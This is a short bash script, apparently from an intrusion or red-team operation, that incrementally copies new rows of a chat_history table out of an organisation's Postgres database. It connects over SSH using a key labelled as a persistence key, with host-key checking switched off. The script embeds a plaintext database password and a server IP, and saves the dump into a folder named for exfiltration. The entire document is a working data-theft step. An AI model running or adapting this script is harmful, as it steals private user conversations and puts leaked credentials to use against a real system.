#!/bin/bash
# L19: Incremental update for snwolley_alpha chat_history
set -u
OUTDIR=/root/ir-assessment/redteam/gitlab_npontutechnologies_com/exfil_all/pg_snwolley_alpha
mkdir -p "$OUTDIR"

echo "=== SNWOLLEY_ALPHA CHAT_HISTORY INCREMENTAL UPDATE ==="
echo "Exfil max id: 898487 (from previous)"
echo "Live max id: 910542 (from check)"
echo "Delta: ~12055 new rows"
echo ""

# Get new rows (id > 898487)
ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
  "export PGPASSWORD='RpS1AOk6Y6mYlMtFGh_tSxUfuU'; psql -h 65.109.51.221 -p 5542 -U rep_listener -d snwolley_alpha -c \"COPY (SELECT * FROM chat_history WHERE id > 898487 ORDER BY id) TO STDOUT WITH CSV HEADER\" 2>/dev/null" \
  | gzip -1 > "$OUTDIR/chat_history_incremental_20260831.csv.gz"

rc=$?
if [ $rc -eq 0 ] && [ -s "$OUTDIR/chat_history_incremental_20260831.csv.gz" ]; then
  sz=$(du -sh "$OUTDIR/chat_history_incremental_20260831.csv.gz" | cut -f1)
  rows=$(zcat "$OUTDIR/chat_history_incremental_20260831.csv.gz" | wc -l)
  echo "[OK] Incremental dump: $sz, $rows rows (incl header)"
  sha256sum "$OUTDIR/chat_history_incremental_20260831.csv.gz" >> "$OUTDIR/MANIFEST.sha256"
  echo "manifest updated"
else
  echo "[FAIL] rc=$rc"
  rm -f "$OUTDIR/chat_history_incremental_20260831.csv.gz"
fi

echo ""
echo "=== UPDATE COMPLETE ==="
ls -la "$OUTDIR/chat_history*"